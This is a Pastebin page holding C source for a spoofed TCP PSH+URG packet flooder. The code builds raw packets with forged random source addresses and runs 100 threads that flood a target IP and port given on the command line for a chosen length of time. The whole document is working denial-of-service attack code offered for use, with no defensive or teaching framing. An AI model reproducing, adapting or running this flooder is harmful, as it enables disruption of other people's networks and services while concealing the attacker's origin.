vap0r

ack.c

Feb 12th, 2015
285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.82 KB | None | 0 0
  1. /* spoofed TCP PSH+URG packet flooder, will hit random ports. */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <netinet/tcp.h>
  6. #include <netinet/udp.h>
  7. #include <netinet/ip.h>
  8. #include <pthread.h>
  9. #include <errno.h>
  10. #include <string.h>
  11. #include <sys/socket.h>
  12. #define THREADS 100
  13. typedef struct pthread_param
  14. {
  15.     int argc;
  16.     char **argv;
  17. };
  18. typedef struct pseudo_header
  19. {
  20.     unsigned int source_address;
  21.     unsigned int dest_address;
  22.     unsigned char placeholder;
  23.     unsigned char protocol;
  24.     unsigned short tcp_length;
  25.     struct tcphdr tcp;
  26. };
  27. /* Thanks for unknown author, this saves me some time */
  28. unsigned short csum(unsigned short *ptr,int nbytes) {
  29.     register long sum;
  30.     unsigned short oddbyte;
  31.     register short answer;
  32.  
  33.     sum=0;
  34.     while(nbytes>1) {
  35.         sum+=*ptr++;
  36.         nbytes-=2;
  37.     }
  38.     if(nbytes==1) {
  39.         oddbyte=0;
  40.         *((u_char*)&oddbyte)=*(u_char*)ptr;
  41.         sum+=oddbyte;
  42.     }
  43.     sum = (sum>>16)+(sum & 0xffff);
  44.     sum = sum + (sum>>16);
  45.     answer=(short)~sum;
  46.  
  47.     return(answer);
  48. }
  49. int attack(int argc, char *argv[])
  50. {
  51.     int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
  52.     char packet[4096];
  53.     struct iphdr *iph = (struct iphdr *) packet;
  54.     struct tcphdr *tcph = (struct tcphdr *) (packet + sizeof (struct ip));
  55.     struct sockaddr_in sin;
  56.     struct pseudo_header psh;
  57.     char ip[16];
  58.     sin.sin_family = AF_INET;
  59.     sin.sin_port = htons(atoi(argv[2]));
  60.     sin.sin_addr.s_addr = inet_addr (argv[1]);
  61.     sprintf(ip, "%d.%d.%d.%d\n", rand() % 223, rand() % 255, rand() % 255, rand() % 255);
  62.     memset (packet, 0, 4096);
  63.     iph->ihl = 5;
  64.     iph->version = 4;
  65.     iph->tos = 0;
  66.     iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
  67.     iph->id = rand() % 10000;
  68.     iph->frag_off = 0;
  69.     iph->ttl = rand() % 80;
  70.     iph->protocol = IPPROTO_TCP;
  71.     iph->check = 0;
  72.     iph->saddr = inet_addr(ip);
  73.     iph->daddr = sin.sin_addr.s_addr;
  74.     iph->check = csum ((unsigned short *) packet, iph->tot_len >> 1);
  75.     tcph->source = htons (rand() % 2048);
  76.     tcph->dest = sin.sin_port;
  77.     tcph->seq = 1;
  78.     tcph->ack_seq = 1;
  79.     tcph->doff = 5;
  80.     tcph->fin=0;
  81.     tcph->syn=0;
  82.     tcph->rst=0;
  83.     tcph->psh=1;
  84.     tcph->ack=1;
  85.     tcph->urg=1;
  86.     tcph->window = htons (rand() % 5840);
  87.     tcph->check = 0;/* We fill this in later */
  88.     tcph->urg_ptr = 1;
  89.     psh.source_address = inet_addr(ip);
  90.     psh.dest_address = sin.sin_addr.s_addr;
  91.     psh.placeholder = 0;
  92.     psh.protocol = IPPROTO_TCP;
  93.     psh.tcp_length = htons(20);
  94.     memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
  95.     tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
  96.     int one = 1;
  97.     const int *val = &one;
  98.     int sockop = setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one));
  99.     if (sockop < 0)
  100.     {
  101.         perror ("[x] Error msg: ");
  102.         printf ("[x] Cannot set socket options: %i (are we r00t?)\n", errno);
  103.         exit(-1);
  104.     }
  105.     if (sendto (s, packet, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
  106.         printf ("[x] Error sending packet\n");
  107.     close(s);
  108.     return 0;
  109. }
  110. void *thread_attack(void *thread_params)
  111. {
  112.     struct pthread_param *params = thread_params;  
  113.     while (1)
  114.     attack(params->argc, params->argv);
  115. }
  116. int main (int argc, char *argv[])
  117. {
  118.     int i;
  119.     srand(time(0));
  120.     if (argc != 4)
  121.     {
  122.        printf("Usage: %s <destip> <destport> <time>\n", argv[0]);
  123.        return -1;
  124.     }
  125.     printf("[*] Initializing..\n");  
  126.     pthread_t zack_attack[THREADS];
  127.     struct pthread_param params;
  128.     params.argc = argc;
  129.     params.argv = argv;
  130.     for (i = 0; i < THREADS; i++)
  131.     pthread_create( &zack_attack[i], NULL, thread_attack, (void*) &params);
  132.     printf("[*] Attacking..\n");
  133.     sleep(atoi(argv[3]));
  134.     return 0;
  135. }
Advertisement
Add Comment
Please, Sign In to add comment